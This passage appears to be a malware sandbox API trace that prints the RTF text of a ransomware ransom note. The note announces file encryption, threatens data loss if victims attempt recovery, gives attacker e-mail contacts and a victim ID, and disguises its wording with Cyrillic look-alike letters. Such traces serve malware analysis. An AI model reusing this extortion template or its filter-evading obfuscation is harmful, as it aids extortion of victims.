fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r 